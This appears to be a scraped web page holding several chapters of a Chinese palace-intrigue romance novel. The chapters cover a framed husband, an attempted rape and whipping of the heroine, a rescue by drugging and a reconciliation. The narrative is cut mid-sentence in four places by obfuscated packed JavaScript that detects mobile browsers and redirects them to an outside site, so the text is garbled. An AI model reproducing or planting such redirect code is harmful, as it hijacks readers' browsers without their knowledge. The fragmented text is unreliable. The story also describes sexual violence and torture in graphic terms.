“父亲,男女团商演和带货都是合理合法的营生,我们清清楚楚、堂堂正正,请您尊重清语,也尊重所有为生活努力营生的人!” “大胆!你是越来越放肆了!我还没说你呢,听说你也加入了那个什么乱七八糟的男团?你们两个,是要把我定北侯府的颜面丢尽了才满意是吧?” 眼见着父子两争吵越来越激烈,顾清语担心言正廷与父亲反目成仇,想要帮腔,却被言正廷拦了下来。 他继续不卑不亢地与言父争辩着,却不管言父怎么骂他、羞辱他,都毫不在意。 只是若说到顾清语半句不是,就万万不行。 言正廷的袒护让顾清语颇为感动,可是她又不希望言正廷与家人的关系因她而恶化。 虽然这个家里,没有一个人真正的心疼、爱护言正廷,可她心里明白,言正廷仍然渴望着父亲的认同与母亲的疼爱。 至于那位兄长…… 他曾想在军营里要了言正廷的命,如今言父言母如此动怒,怕也是他在背后煽风点火。 顾清语越想越气。 思来想去,绝不能让言正廷白白受了委屈。 而另一边,言父没想到从前只知道吃喝玩乐的言正廷竟然一反常态的敢与他争执。 气得刚想要请家法,却听顾清语突然道:“家公,你可知正廷他前些时日差点就死在了您的军营里,如今您还想要亲自动手打死他吗?” “你在说什么?什么死在我的军营里?” 言正铠的眼里闪过一丝慌乱,刚想开口抢占先机,却被顾清语直接夺回了话语权。 “兄长他没有告诉您吗?前些时日正廷意外受了重伤。伤还未愈,兄长便说要磨练他的心智,将他带到军营里做苦力、做杂役,做所有最苦最累的活儿。正廷旧伤复发差点就没了性命,兄长却不给他送医,只差一点,您这次回来见到的,就是您儿子的墓碑了。” “你胡说!”言正铠有些狗急跳墙,“我只是想对他加以锻炼,你却说得我想要他的命,你是什么居心?” “什么居心?当然是为夫君讨公道的居心。总不能跟兄长您一样,是想弄死他吧。” “你再敢胡说!别以为你是女子我就不敢对你动手!” 言正铠说着就要冲到顾清语面前,言正廷却一个箭步挡在了她的面前。 “都给我住手!” 见家中乱作一团,言父勃然大怒。 “你们俩这是要当着我的面动手吗?!正铠,她说的,可是事实?” 言母也有些着急了,“正铠!你真的这样对你弟弟?” “父亲、母亲,你们切莫相信这个刁妇!我是想着弟弟既已成家,便不能再像从前那般整日游手好闲,想要好好锻炼其一番,才会带他去军营加以磨砺。但我并不知道他身上有伤,更没有想过置他的生死于不顾,不信您可以亲自去问军营里的将士们!” 言父再次看向言正廷,想听听他的说法。 “你呢?你有什么想说的?” “父亲,孰是孰非已然成为过去,何必为难将士们。” 言正廷的回答极为巧妙,既没有正面与兄长硬刚,却也没有否认他做过的事。 顾清语冷眼看着眼前众人,言父皱紧了眉头不说话,言母却一脸恨铁不成钢。 她忍不住在心中冷笑。 言正铠究竟有没有做过,他们心中已经了然。 只是,他们似乎并不打算为言正廷伸张正义。 毕竟,听到儿子受了重伤,他们竟然没有关心过一句他的身体,他们在乎的是大儿子是否真的做过手足相残之事,影响到侯府的名声。 对于言父言母的冷血无情,顾清语很是不齿,她只在乎言正廷是否会因此伤心难过。 她偷瞄着言正廷绝美的侧颜,看不出他脸上任何表情,只是攥紧的拳头微微有些颤抖。 顾清语伸出手,轻轻撬开了言正廷紧握的手。 柔软的手指稳稳地握住他的手心,想要告诉他:没关系,你还有我。 感受到手心传来的温度,言正廷紧紧回握住顾清语。 不等思虑中的言父开口,他便率先打破了此刻的僵局。 “父亲,既然您认为清语她有辱门楣,那就将她赶出去吧。” 他顿了顿,在众人疑惑的目光中继续道:“儿子自小不成气候,整日只会吃喝玩乐,实在有损侯府名声,不如就将我二人,一同赶出侯府吧。” “咣!”的一声,言父一拳砸在桌面上,整个桌子都在摇晃。 顾清语也没想到,言正廷居然会这样说。 “你个逆子,竟敢威胁我?你以为我不敢吗?” “儿子不敢!儿子只是不想再惹父亲生气,也不想自己的夫人受委屈,不如就成全了我俩吧!” “好,好!既然你开了口,我就成全你。即日起,你不再是我定北侯的儿子,带着你那新妇,滚出侯府!” “多谢父亲成全!” 他向言父言母重重叩首之后,便牵起顾清语决然离去。 顾清语万万没想到,言正廷竟然为了她与侯府彻底决裂。 这是她不愿意看到的。 她深知言正廷其实一直渴望着父母的疼爱,不然她也不会为了他而甘愿向言家低头。 未承想,终究是他承受了更多,付出了更多。 两日后,二人带着小厮和阿砚搬离侯府。 他们走时,并未带走太多的东西。 对顾清语来说,她来时就身无长物。 那些所谓的嫁妆本就是不属于她的东西,除了原主娘的妆台和她的宝物,她几乎什么也没带走。 而对于言正廷来说,他不过是离开了一个栖身之地,有顾清语在的地方,才是家。 他便更是两袖清风,连随身衣物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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寓意在暗夜中行走的正义使者。 言正廷一直在暗中利用定北侯之子的身份,建立了不少官场人脉,如今虽然脱离了侯府,但他为人侠肝义胆、正直不阿,从前的人脉也都还在。 他坚信很快便能查出,谁是喻亲王的同党。 而顾清语的女子商会已由从前的十几人,扩大至如今的四十几人。 京城里几乎所有的女商都加入了其中。 为了能更稳当的建立起她的商业帝国,她甚至将城东和城南娱乐场的“安保”全权交给了周四爷。 并承诺将城西、城北两处娱乐场的利润,与他五五分账。 这样一来,周四爷对维持娱乐场秩序更加卖力。 他们无论明里、暗里,□□、白道都一一打通。 她的娱乐场,再无人敢觊觎。 离开侯府后,没了后顾之忧的他们反而过得更好了。 事业蒸蒸日上,爱情甜甜蜜蜜。 而这看似美好的一切,在暗鹰传来消息的那天却被彻底打破。 这日,顾清语见言正廷手里捏着她给暗鹰特制的加密信纸,愁容不展。 “怎么了?发生何事?” 言正廷却没有回答,沉默着将纸条递给顾清语。 顾清语接过纸条,上面赫然写着五个字: 小侯爷,军械。 25.失踪 “这是何意?难道兄长他……” “现在还不能确定具体情况,只知道他与喻亲王私下购买军械一事有关。” 言正廷的眉头皱得快要拧成了一股绳。 也难怪他如此焦躁,走私军械本就是重罪,更何况他还牵连进了喻亲王这件事里。 一旦坐实,兄长必死无疑,整个侯府极有可能被满门抄斩,甚至会诛连九族。 言正廷倒不是心疼兄长,只是他们始终同出一脉。 真到了那一天,即便他与顾清语早已脱离侯府,他们仍就是难逃一死。 “既然还没确定,说不定他只是被人利用,我们再查查便是。” “我已经让暗鹰去查了,希望他不至于昏庸至此。” 顾清语知道,此刻再怎么安慰也没有用,便不再开口,只是静静地陪在言正廷身旁。 两人就这样安静地坐在小院的凉亭里,默默不语。 也不知过了多久,言正廷才终于伸手将顾清语揽进怀中。 “别担心,我一定不会让此事牵连到你。” “你说什么呢?你以为我是害怕被牵连吗?” 顾清语有些气恼,一把推开了言正廷。 她竟不知,原来她在言正廷心中是这种贪生怕死之人。 “我不是这个意思,我是不想你因为我受到伤害。” “言正廷,我只说最后一次,既然你我二人已决定要在一起,便不分彼此。请你不要再说出‘牵连’这种话。别说我不会让你出事,即便你真的会死,我也陪你一同赴……” 那个“死”字还未说出口,便被言正廷的唇狠狠地封在了口中。 他今日的吻霸道异常,带着一丝侵略和惩戒的意味。 许久,两人才依依不舍的分开。 言正廷迷蒙着双眼,用手指摩挲着顾清语那被他吻得有些红肿的唇,声音有些沙哑。 “我不许你再说那个字!” 小样! 竟然还演起了霸道总裁那一套。 可偏偏顾清语很是受用,像个小女子般软倒在他怀中。 天还未完全亮起,言正廷就出了门。 顾清语知道他想亲自去打探消息,毕竟这关乎到侯府满门。 言正廷虽然不说,可顾清语知道,他仍旧对他那偏心的父母和一心想要他命的兄长心存幻想,想要保全他们。 言正廷已经许久没有回府了。 日子在顾清语整日的提心吊胆中流走,生怕他又像上次一般,再回来时只剩下了半条命。 直到言正廷完完整整踏进家门那一刻,她才终于放下心来。 幸好,这一次他平安归来。 久别重逢的喜悦,让两人还在大门口就拥抱了许久。 丝毫不理会路过之人投来的异样眼光。 片刻温存后,言正廷告诉顾清语连日调查终于有了结果。 兄长果然在私下贩售军械,并且已经有一阵时日了。 他所贩售的军械均销往关外,几经辗转才最后落入喻亲王手中。 其中经手这批军械之人至少换了五六轮。 也正因如此,言正廷始终不能确认兄长此番行径到底是否与喻亲王有关。 “现在只知道他的确犯了走私军械的重罪,按照大越律法,他所走私的军械数量已经足以杀头,还会牵连整个侯府,即便不是满门抄斩,父亲也定会被罢黜官职贬往关外。” “那现在我们该怎么办?” 顾清语不懂朝堂之事,但她明白唇亡齿寒的道理。 世人都会趋利避害、捧高踩低,侯府若是倒了,她的营生必定大受影响。 甚至她所有的心血都有可能毁于一旦。 即便立刻与侯府进行切割,血缘也是不可能切断的。 言正廷思索良久,似乎也没找到更好的答案。 只是安慰顾清语不用过于担心,他定能找到解决之法。 然而,言正廷的解决之法,竟是直接去找了兄长试探他的虚实。 他知道兄长每日都会去一家茶庄饮茶,这日,他竟单枪匹马的去寻他。 “兄长,好巧。” “别叫我兄长,你不是已经与侯府一刀两断了吗?我可担不起这个称呼。” 言正廷只是笑了笑,对他的毒舌并未在意。 “你我兄弟二人许久未坐在一起用膳、饮茶了,既然今日巧遇,我想陪兄长饮上一壶好茶,可好?” “少来这套,有话尽管直说。” “既然兄长说了,那我便也不再绕弯子。不知兄长近日可有去过关外?” 言正铠刚端起的茶,还未送到嘴边,便停下了动作。 一双阴鸷的眸子紧紧盯着言正廷,就连旁人看了也不觉头皮发麻。 言正廷却丝毫不怯,坦荡地迎上那双眸子,丝毫不打算退让。 半晌,言正铠才放下手中的茶,淡淡一笑。 “说吧,你知道了什么。” “该知道的,都知道了。” “是吗?那你还来找我作甚?” “自然是来求个明白。” “不去报府衙?” “你希望我去报府衙吗?” 两人就这样你一言,我一语的来回试探。 却始终没有一个人把话挑明。 许是心虚的人终究少了些底气。 言正铠几不可查地叹了口气,半晌才开口:“这样吧,明日你回府来,想知道什么,你我二人关上门来慢慢聊。” 言正廷点了点头,将手中的茶一饮而尽。 “明日,我等你给我一个答复。” 他走后,言正铠捏碎了手里的茶杯。 眼里的杀意更盛了。 言正廷回府后,并没有告诉顾清语他去寻了言正铠之事。 他天真的以为,兄长会顾及两人身体里相同的血脉,会懂得迷途知返。 翌日,他准时赴约。 才刚一到侯府门口,他就觉出一丝不寻常的气息。 门口的守卫比平日里少了许多,且多数是他没见过的陌生面孔。 他还以为是在离开侯府后,家里换了一批守卫,便没再多想。 他哪里会知道,在迈进家门的那一刻,他便已经踩进了兄长精心为他准备的陷阱。 踏进家门后,他并未瞧见自己的父亲母亲。 想来兄长应该不想让父母知道他犯下的过错,所以找借口支开他们,也在情理之中。 他径直走向兄长的房间,敲响了房门,里面却无人应门。 他又敲了敲门,发现门竟然开着,便直接走了进去。 自他成年后,这还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14336033|150902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第一次进入兄长的房间。 环视了一圈,发现兄长的书桌旁赫然挂着一把竹剑。 他心下一软,这把剑是他幼时送给兄长的生辰礼。 那时兄长很是喜欢,天天带在身边,只是幼妹出事后,他就再也没见兄长拿过这把竹剑。 他以为早就被兄长扔掉了,没想到他竟还一直留在身边。 往事不堪回事。 可言正廷心底那抹柔软却被这把竹剑再次唤醒。 他走向前去,拿起竹剑。 细看之下却发现,这剑似乎太新了,且与当年他赠与兄长的那把略有不同。 难道这并不是他当年送的那一把? 那为何兄长要特地将剑挂在此处? 难道,这剑,是为了引他走到书桌旁? 想到此,言正廷扫了一眼书桌,发现书桌上放着几张堪舆图。 仔细一看,上面竟然详细标注着大越所有的军事要地。 这可是重要军事机密! 兄长怎会如此随意摆放? 看着手中的竹剑,再看了眼堪舆图,言正廷瞬间明白自己中计了。 “糟了!” 他放下竹剑,转身就走。 却还是晚了一步。 刚走出门口,就被一队人马团团包围。 “言正廷!你已被赶出侯府,为何在我房间门口偷偷摸摸?” “兄长,不是你约我来的吗?” “信口雌黄!我何时约你?可有人证?你偷偷溜进我房间意欲何为?来人,去查看我房里少了什么!” 原来如此。 言正廷到此刻才终于确认,他的兄长从未有一丝悔改之心。 很快,进屋搜查的将士来报,屋里少了一张作战图。 “言正廷,你竟敢盗取军事机密!把他给我押回军营大牢,严加看管,我要亲自审问!” “兄长,你当真如此不知悔改吗?” “不知悔改的人是你!” 他不怀好意地凑到言正廷耳边,低声道:“多管闲事是不会有好下场的。” 说完,大手一挥,就让麾下将士将言正廷直接押走。 言正廷被关进了军营大牢。 他事前并没有告诉任何人今日的行踪。 他念着与兄长之间的手足之情,想要单独解决此事。 而此刻,他的心终究是死了。 他一心想要救兄长一命,兄长却始终如一想要他的命。 “清语这会儿,肯定很着急吧?” 望着漆黑一片的大牢,他却并不担心自己的性命,他只在乎顾清语是否会因此而担心。 而一直在侯府等侯的顾清语,也越来越心神不宁。 言正廷为何还不回府? 他虽然经常在外办事不归,但他就连是否回来用晚膳都定会有所交代,不会这样杳无音讯。 时间越晚,她就越是心慌。 自上次言正廷身受重伤,她就对他的突然消失感到莫名的恐慌。 难道他又遇到了危险? 不行! 她不能继续在府中坐以待毙。 她招来了暗鹰想问问言正廷的行踪。 果然,连暗鹰都不知道他的下落。 言正廷失踪了。 顾清语也彻底慌了。 26.遇险 顾清语派出了所有的暗鹰去打探言正廷的下落。 可他却像人间蒸发一般,莫名就消失在了这偌大的京城里。 她想尽了一切可以想到的办法,找了所有能帮上忙的人。 十一娘、周四爷,甚至连整日在各个国家游走卖货的黄老板也去找了。 过了整整三日,仍然没有言正廷的消息。 尽管她一直安慰自己,没有消息便是好消息。 可她终究还是坐不住了。 万般无奈之下,只能去找言正廷的父亲求助。 刚到侯府门前,就被守卫拦了下来。 “少夫人,小侯爷有命,您不得入内。” “小侯爷?难道现在侯府已经是他言正铠做主了吗?” “少夫人切不可妄言。” “那凭什么他说不让进我就不能进了?我要去找侯爷,耽误了重要的事你能负责吗?” “少夫人请别为难我们!” 任门口的守卫如何阻拦,却并不敢真的对她动手。 顾清语不管不顾的就往府里冲,却发现言正廷的父母都不在府内。 “侯爷和夫人去了寺庙里礼佛,已经走了多日了。” 一路跟着顾清语的守卫赶紧向她解释,一心只想尽快将她赶走。 “少夫人您赶紧离开吧,免得小的们又要受罚了。” “又?” 顾清语敏锐得捕捉到了守卫言辞里的异样。 “什么叫又?你先前因为何事受罚?” 意识到自己说错话的守卫此刻脸色极为难看,支支吾吾的找补:“不,不是的,之前是无意中让一个要饭的进来了。” “要饭的?你可想好了。” 顾清语决定诈一诈这名守卫。 “你可知侯府出了大事,我今日是特地前来报信的,若你有所隐瞒将侯府陷入万劫不复之地,你担得起这个责任吗?” 顾清语言辞犀利,只是随便吓唬一下,便诈出了守卫的真话。 “小的不敢!小的只能遵照主子的意思办事,小侯爷说过不让您和二少爷回府,那日二少爷也不知怎的就回来了,后来被一群人带走,如今您又来了,小的真不知该如何是好了!” 言正廷果然回来过! 顾清语赶紧追问:“二少爷被谁带走了?” “小的不知,只是看样子,是军中之人。” 军中之人。 顾清语心中已经有了猜想。 她径直走向言正铠的屋子,却发现房门上了锁。 打不开房门,她只得在他的屋子四周试着寻找线索。 没想到竟真的让她找到了。 就在言正铠屋子前方花园的一处角落里,静静的躺着一个丑娃娃。 那是她曾经送给面具人的,言正廷无论走到哪儿都会随身带着。 因为这事儿,他还没少遭到他人的耻笑。 当初就是因为这个娃娃,她识破了言正廷的身份。 若非紧要关头,言正廷绝不会让这个娃娃离身。 如今娃娃却落在了言正铠的门前,且位置极为隐蔽。 若不是她对这个娃娃太过熟悉,基本很难会发现。 想必是言正廷知道她会来寻,才刻意留下的线索。 现在她可以确定,言正廷的失踪定与言正铠有关! 可她却想不通言正铠为何要这样做? 该不会是言正廷傻傻地跑去质问他关于走私军械的事吧? 在她心目中,言正廷并非如此莽撞之人。 可在这件事上,他却的确是犯了蠢。 眼下,最重要的是先找到言正廷。 顾清语去找了周四爷,请他帮忙打听言正铠的行踪。 却得知言正铠自几日前在茶庄喝过茶之后,就再也没出现过,只是有人曾看见他出了城。 出城? 难道是军营? 当初言正铠将言正廷带到军营里折磨羞辱,如今会不会重施故技? 管不了那么多了,救夫心切的顾清语决定先去看看再说。 不过这次,她留了一个心眼。 去之前,她派人给十一娘带了口信,告诉她自己的行踪以防万一。 随后,便策马赶往驻扎在城外十里处的军营。 还没到军营门口,她就被巡逻的将士拦下了。 因得上一次她在众目睽睽之下,用长刀架在言正铠脖子上,军营里上上下下对她无人不识。 即便如此,他们仍旧擒住她的双手,将她扭送到了言正铠面前。 言正铠果然躲在军营里! 那言正廷是否也被藏在这里? 顾清语一路过来都在观察,可是所有的军帐都大同小异,她实在想不出言正廷会被藏在何处。 言正铠在看到顾清语时略有些吃惊。 他没想到顾清语竟然能找到他这里。 这个女人,果然有点本事。 不过,这军营可是他的地盘,他根本不担心顾清语能做出什么有损他之事。 反倒是他对顾清语,起了歹心。 “你来做什么?” “我夫君在哪儿?” “呵呵……找夫君找到我这军营里来了,那你倒是挑挑看,这营帐里哪个能当你夫君?” 他一番调戏的言语,引得帐内的士兵跟着哄笑起来。 顾清语涨红了脸,低声骂了句:“不要脸!” 她一直瞧不上言正铠的卑劣行径,但他好歹是领兵之人,上阵杀敌者本该多少有些英气,没想到他竟连自己的弟妹也要出言戏谑,这个人,当真是卑鄙无耻到了极致。 “不要脸?你一个妇人却跑到我这满是男儿的军营里来找夫君,到底是谁不要脸啊?” “少废话,言正廷到底在哪儿?你把他怎么了?” “哦~原来是来找你的正牌夫君啊,我还以为你是来找你那些什么男团里的狐媚男子呢!” “哈哈哈哈哈哈……” 言正铠的无耻言论,再次引得众人哄堂大笑。 这群人,以欺凌女子为乐,这样的人也配当守护国家的战士吗? “呸!” 顾清语往言正铠脸上啐了口唾沫。 言正铠勃然大怒,反手就给了她一巴掌。 这一巴掌力道极重,顾清语被反剪着双手,一个趔趄撞在了桌角上。 天旋地转中,她看到言正铠那张扭曲的脸不怀好意地向她靠近。 视线逐渐模糊,她想躲却再也没了力气,两眼一黑便晕倒过去。 再次醒来时,顾清语仍旧躺在冰冷的地上,只是营帐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她疑惑的睁开眼,发现言正廷不知道从哪拿出了一套刑具。 顾清语大惊:难道他也好风雅颂那一口? 只见言正铠将刑具一一陈列在顾清语身体之上,满脸淫邪。 “你以为只是被我要了这么简单?当初你在上千将士面前,把刀架在我脖子上的时候,可有想过会有这一天?” 原来,他不只是想侵犯她,还要狠狠地报复。 顾清语没想到,言正铠竟然如此睚眦必报。 说罢,言正铠用一条沾了盐水的长鞭狠狠抽打在了顾清语身上。 “唔!” 剧烈的疼痛袭来,顾清语却叫不出声。 “怎么样?很痛吧?我就喜欢看你们女子这种痛不欲生却又无可奈何的模样。今日我便要让你刻骨铭心的记住,得罪我是怎样的下场。” 言正铠拿着长鞭,俯身压在了顾清语身上。 抚摸着她身体上被鞭打的痕迹,他兴奋地解开了自己的裤子。 27.救人 就在顾清语即将放弃挣扎之时,身上的言正铠却突然停下了动作。 他神色异常,双眼直愣愣地看着某处,身体一歪,便向旁边倒去。 顾清语还未反应过来,就见营帐门口钻进来一个小小的身影。 虽然蒙着脸,却仍能从身形上看出此人并非言正廷。 除了言正廷以外,还有谁会救她? 来人迅速拾起地上的衣裳为她盖好身体。 又从腰间掏出一个小小的鼻烟壶凑在顾清语的鼻尖。 一阵刺鼻的气味传入鼻腔后,顾清语竟然能动了。 见她恢复了些,来人扯下了蒙面的黑巾。 “清檀?!怎么是你!” “嘘!别出声,我先带你出去。” 顾清语衣不蔽体,但是她的衣裳都被划破了,她万分不情愿地先裹上了言正铠的衣裳。 出了营帐后,清檀带着她东躲西藏地逃出了军营。 “怎么门口没有守卫?” 顾清语有些纳闷,明明她来时还守卫森严,怎么这会儿却几乎看不见人影。 “我在他们的酒菜里下了药,现在大半个军营的人几乎都被我迷晕了。” 清檀拉着顾清语找到了事先藏好的马车,向着城中飞奔而去。 虎口脱险的顾清语直到回到了春风亭,才终于缓过神来。 若不是清檀相救,她现在已经被言正铠给糟蹋了。 身上的伤还在隐隐作痛,清檀拿出一小罐药膏仔细为她涂抹伤口。 “清檀,你怎么知道我在军营?” “你不是派人送信给十一娘了吗?我当时正好在十一娘身边。清语,我应该向你道个歉。” “为何?你刚刚才救了我,应该是我对你道谢才是。” “我应该早点告诉你,言正铠有那种癖好的。若你事先知道,就不会一个人单枪匹马去找他,也不会差点就被……” 没能将言正铠曾光顾过她的事告诉顾清语,害她差点陷入险境,清檀很是自责。 于是,她将从前言正廷来风雅颂之事,一五一十地说与顾清语听。 “原来如此,难怪他会和走私军械的那群人扯上关系。” “从前来我们那儿的客人,总会在我们面前暴露出最真实的一面。我接触过言正铠几次,他不仅变态,还是个小肚鸡肠、锱铢必较的卑鄙小人。你上次在军营里让他丢了面子,这次主动上门,他定不会轻易放过你。所以,我一看到十一娘的消息就赶紧朝军营赶去,幸好来得及,不然我,真的会恨死我自己。” 说完,清檀强忍了半天的眼泪终是落了下来。 “这怎么能怪你呢,我感谢你还来不及呢!”顾清语伸手抱了抱她,“不过,你这用药的本事倒是挺厉害,能药倒了大半个军营的人。” 清檀擦了擦眼泪,对顾清语如实相告。 自顾清语将她救回来之后,她整日躲在春风亭后院里无所事事,索性就跟着十一年学习如何经商,功夫也跟着学了点皮毛。 因她从前就是被下药之后才卖到了风雅颂,所以她对用药用毒之事格外钻研。 机缘巧合之下,十一娘得到了一本关于药理的古籍,便赠予了清檀。 自此,清檀就一门心思钻研用药,没想到今日却派上了大用场。 “这么说,今日是你第一次真正动手?” “是。” 清檀有些不好意思。 她也不确定自己下的药是否管用,只是一门心思的想要救顾清语。 “清语,对不起,我不是有意要隐瞒你,更不是故意在没有经过任何试验的情况下就来逞能。” “别说傻话了,若是药真的不管用,连你也会身陷囹圄。可是你不顾自己的安危就来救我,这份情谊我会永远铭记在心。只是……” 见顾清语欲言又止,清檀问她是否是担心言正廷的安危。 顾清语摇了摇头。 从言正铠的话语中,她已经能确定言正廷现在应该没有生命危险,且就在军营之内。 要救人还需要从长计议。 只是言正铠认识清檀,若他真和幕后之人有勾结,清檀一旦暴露,所有人都会有生命危险。 清檀才刚刚脱离苦海,绝不能让她再次陷入绝境。 “清檀,你那本书里,可有能改变容貌的药物?” 清檀一听,便立刻明白了顾清语的用意。 她翻出那本古籍,和顾清语一起查找起来。 许久,二人才终于找到一种药方,虽不能完全改变容貌,但长期服用,的确能让人的容颜发生改变。 顾清语让清檀尽快开始服药,她也一直在研究怎么利用化妆技巧为清檀改头换面。 言正铠遭了暗算,必然不会善罢甘休。 这段时日,顾清语家也不敢回。 一边让暗鹰查探言正廷在军营的具体位置,一边帮着清檀改变容貌。 没多久,暗鹰传来消息,言正廷被关在了军营大牢里。 罪名是盗取军事机密。 言正铠实在是卑鄙,这罪名已经足以让言正廷被杀头了。 就算他们将他暗中救出,那罪名依然存在,言正廷就永远无法活在光天化日之下。 必须要为他洗脱罪名才行。 可是,证据呢? 言正铠故意设下陷进,去哪儿才能找到证明言正廷清白的证据? 她让暗鹰继续打探,当日诬陷言正廷盗取的究竟是一份怎样的机密。 暗鹰非常给力,很快便在顾清语的娱乐场里找到了言正铠的一名手下。 顾清语专为此人设下了一个局,威逼利诱之下,那人很快便道出了真相。 既然那张所谓的作战图并没有被盗取,那一定就还在言正铠手中。 只是顾清语从他手中逃脱,他现在已经有了防范,那作战图想必被藏到了一个极为隐蔽之地。 一番筹谋之后,顾清语在言父言母回府当天,在府衙门口击鼓鸣冤。 她将动静闹得很大,逼得言父不得不亲自现身府衙。 也是到了府衙,言父才知道自己的小儿子被大儿子以盗取军事机密的罪名关押了起来。 “胡闹!他是你亲弟弟,他一个只懂吃喝玩乐的败家子盗取军事机密来作甚?” 言父已经许久未对言正铠动过怒。 尽管顾清语知道,他发怒并非是心疼言正廷,而是此事让他丢了颜面。 他和原主那渣爹一样,都是只在乎自己颜面,不管他人死活之人。 只是言正铠翅膀硬了,并不打算就此作罢。 “父亲,当日有好几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他始终不明白,明明在场这么多人,为何只有他着了道。 眼见着事情败露,言正铠不得不遵从父亲的意思,放了言正廷。 当那张被藏在营帐下的作战图被顾清语翻出来交到言父手上时,言正铠突然出手想要袭击顾清语,却被一直陪在顾清语身旁的阿砚出手阻挡。 言父见他犯下大错却不知悔改,气得当场下令杖责五十。 在场的众人,没有一个认出了阿砚是他人所扮。 顾清语和清檀研究了许久的易容之术成效可见一斑。 言正铠大概永远也不会知道,从他踏入府衙的那一刻,就被乔装后的清檀在他衣领处撒了药粉。 所以当众人都闻到那股异香时,并不会有任何影响,只有被撒了药粉的他,才会产生幻觉,并在诱导下说出实话。 言正廷终于洗刷了盗取军事机密的冤屈,却在大牢里被折磨得不轻。 在看到顾清语那一刻,一直在牢里强撑的他,突然就卸下所有防备,再也撑不住了。 28.圆满 由于连日在大牢中被严刑逼问,言正廷的身体遭受了严重的创伤。 就连言父也没想到,大儿子竟会真的对亲弟下此狠手。 因此,又多罚了他十军仗。 饶是如此,对于言正铠刻意污蔑还施以极刑的惩罚,也仅仅只是这六十军仗。 甚至连降其军职或罚俸禄这种实际处罚都没有。 言父的偏袒,太过苛刻,也太伤人心。 受了如此大的委屈,就连一句道歉,言正廷也没能得到。 言正廷已经习惯了冷漠与苛待,但顾清语没有。 “言将军,他如此对待正廷,难道就连一句抱歉的话、一个认错的态度都没有吗?” 顾清语在众目睽睽下逼问言父。 他想要糊弄过去,顾清语却不答应。 众人留意到她没有称呼言父“家公”,而是“言将军”。 摆明了要公事公办。 言父不悦道:“我已经罚其杖责六十了,难道态度还不够明显吗?” “做错事本就应该受罚。但受罚是受罚,道歉是道歉。今日,言正铠必须当着所有人的面,向正廷郑重道歉并承认是他刻意诬陷!否则,就是告到朝堂之上,我也决不罢休!” “这不过是家事,你为何如此纠缠不休?” “家事?家事为何要将正廷关押大牢?家事为何要对他用刑?这不是在大越的军营之中吗?还是说,这军营就是您言家的?” 这话要是传到朝堂之中,言家只怕是满门都要遭殃。 “休要胡说!你可知你这番妄言可是杀头的大罪!” “那又如何?若是我夫君得不到公允,就算死,那我也要所有人为他陪葬!” 言父是没想到顾清语竟如此不管不顾,可若是让她继续闹下去,只怕言家将不得安宁。 思虑再三,言父终于妥协。 “正铠,向你弟弟道歉。” “父亲,我……” “道歉!” “是……” 即便再如何不甘愿,言正铠终究不敢违逆言父。 一脸不甘的别开了头道:“是我弄错了,抱歉。” “你向谁道歉,为何道歉?一一给我说清楚了!” 顾清语可不打算让他轻易糊弄过去。 “你别得寸进尺!” “好啊,那我明日就站在宫门外大声喊冤,看看这天底下到底还有没有王法!” “你……好!我言正铠今日向言正廷道歉,是我刻意诬陷、栽赃嫁祸,我认罚。满意了吗?!” 顾清语冷哼一声,转身扶起言正廷就准备带他去看大夫。 她看不到身后的言正铠此刻却目露凶光,杀意满满。 言正廷之前好不容易才养好的身子,这次却又遭了殃。 顾清语陪着他在医馆整整治疗了一个月,再配合清檀为他调制的疗伤药,才终于得以康复。 两人回到许久未归的家中,都有一种恍如隔世之感。 言正廷更是一进门,就直接赖在顾清语床上不走了。 “别闹了,你才刚刚痊愈,还需要好生修养。” “可是大夫说我伤势过重,阳气受损,得大补阳气才行。” “我已让阿砚准备了上好的千年山参,定能将你损失的阳气补回来。” “难道夫人没听说过采阴补阳这一道家之法吗?” 话音刚落,便一个翻身,将顾清语强压在了身下。 这家伙才刚刚死里逃生,怎么就开始满脑子想着男女之事了? 顾清语想要将其推开,还未使上力气,却听他开始哀嚎:“痛!痛!” “哪儿痛?快让我看看。” 顾清语脸上写满了担忧与心疼。 下一秒,却被言正廷捉住手腕,迫不及待吻上了唇。 感受着言正廷的热烈与渴望,她并非毫不心动。 只是实在担心他的身体是否吃得消。 她越是欲拒还迎,就越是惹得言正廷欲罢不能。 温暖的唇在她的肌肤上游走,一寸一寸挑动着她的欲望。 就在她已沉浸其中无法自拔时,言正廷却蓦的停下了动作。 双眼紧紧盯着顾清语身上已经渐渐淡去的鞭痕,言正廷瞳孔收缩,流露出一种前所未有的危险。 “谁伤了你?是他吗?” 顾清语以为言正廷误会她被兄长玷污,正想解释,却听言正廷继续道:“你受过的罪,我一定会替你十倍讨回!不,百倍!” “你不介意吗?” “清语,是我对不起你才害你受了委屈。” 说罢,温润的唇缓缓覆上了那伤痕。 他缓缓亲吻着,摩挲着,仿佛稍一用力都会让顾清语再痛一次。 顾清语安心地享受着他的心疼与爱怜,心里暖暖的。 